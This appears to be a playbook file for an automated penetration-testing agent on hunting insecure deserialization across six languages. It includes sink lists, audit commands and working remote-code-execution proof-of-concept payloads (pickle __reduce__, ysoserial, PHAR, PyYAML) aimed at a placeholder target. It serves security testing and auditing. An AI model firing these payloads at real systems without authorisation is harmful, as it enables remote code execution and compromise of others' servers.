deserialization

name	deserialization
description	Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE.
metadata	{"subdomain":"web-exploitation","when_to_use":"insecure deserialization cwe-502 pickle jackson snakeyaml binaryformatter datacontractjson unserialize marshal yaml load node vm gadget chain"}

Insecure Deserialization Playbook

Deserialization is the single most reliable path from a byte string under user control to unauthenticated remote code execution. Modern frameworks have tried to wall this off, but chained-gadget attacks (ysoserial, ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.

1. Sources (user-controlled data that becomes an object)

• HTTP body, cookie, header, query param
• Message queue payload (Kafka, RabbitMQ, SQS)
• File upload parsed as config
• WebSocket messages
• Inter-service RPC

2. Dangerous sinks by language

Python

• pickle.loads / pickle.load / pickle.Unpickler
• dill.loads, cloudpickle.loads, shelve.open
• yaml.load() without Loader=SafeLoader
• jsonpickle.decode
• numpy.load(allow_pickle=True)
• torch.load (loads pickled tensors → RCE)
• joblib.load
• marshal.loads

grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif

Java

• ObjectInputStream.readObject
• XMLDecoder.readObject
• Jackson ObjectMapper with default typing + polymorphic types
• SnakeYAML Yaml.load() (before 2.0) — RCE via !!javax.script.ScriptEngineManager
• XStream without whitelist
• Hessian, Kryo with registration disabled

Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)

.NET

• BinaryFormatter.Deserialize (deprecated but still common)
• SoapFormatter, LosFormatter, ObjectStateFormatter
• JavaScriptSerializer with SimpleTypeResolver
• Json.NET with TypeNameHandling != None

PHP

• unserialize() on any user input
• PHAR uploads — file_exists("phar://upload.phar") triggers deser
• Laravel decrypt() → unserialize (pre-patched APP_KEY leak chain)

Ruby

• Marshal.load
• YAML.load (before Psych 4 safe default)
• Oj.load without mode: :rails

Node.js

• node-serialize unserialize()
• serialize-to-js deserialize()
• vm.runInNewContext(userInput) — not technically deser but same impact

3. Gadget chain availability

A sink is only exploitable if the right gadget classes are on the classpath. Check the lockfile / vendored deps for known gadget-rich libraries:

# Java
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +

# Python
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt

# Node
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'

4. Taint audit workflow

1. Identify every source (HTTP body/cookie/header handlers).
2. Trace the data through:
   • Explicit .loads/.readObject/unserialize calls
   • Framework magic (Spring @RequestBody with default typing)
   • File uploads parsed as config
3. For each confirmed source-to-sink path, check gadget availability on the classpath.
4. Record as graph vulnerability node. If no gadgets are currently available, mark exploitability="conditional" — the dep upgrade that ships the gadget class is a time bomb.

5. PoC templates

Python pickle (direct)

import pickle, base64, os
class E:
    def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())

Send as cookie/body; success = /tmp/pwn present or command output reflected.

Java ysoserial

java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set

PHP PHAR

php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
# Trigger: any filesystem call on phar:// wrapper

YAML (PyYAML < safe default)

!!python/object/new:subprocess.check_output [["id"]]

6. Default CVSS

All unauthenticated deser → RCE are 10.0 critical: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Authenticated deser: drop PR to L → 9.9.

7. Validation contract

validate_finding(
  vuln_id=...,
  poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
  success_patterns="uid=0|root@|pwned|/tmp/pwn",
  negative_command="curl -X POST https://target.com/api/import --data 'benign'",
  negative_patterns="200|accepted",
  cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
)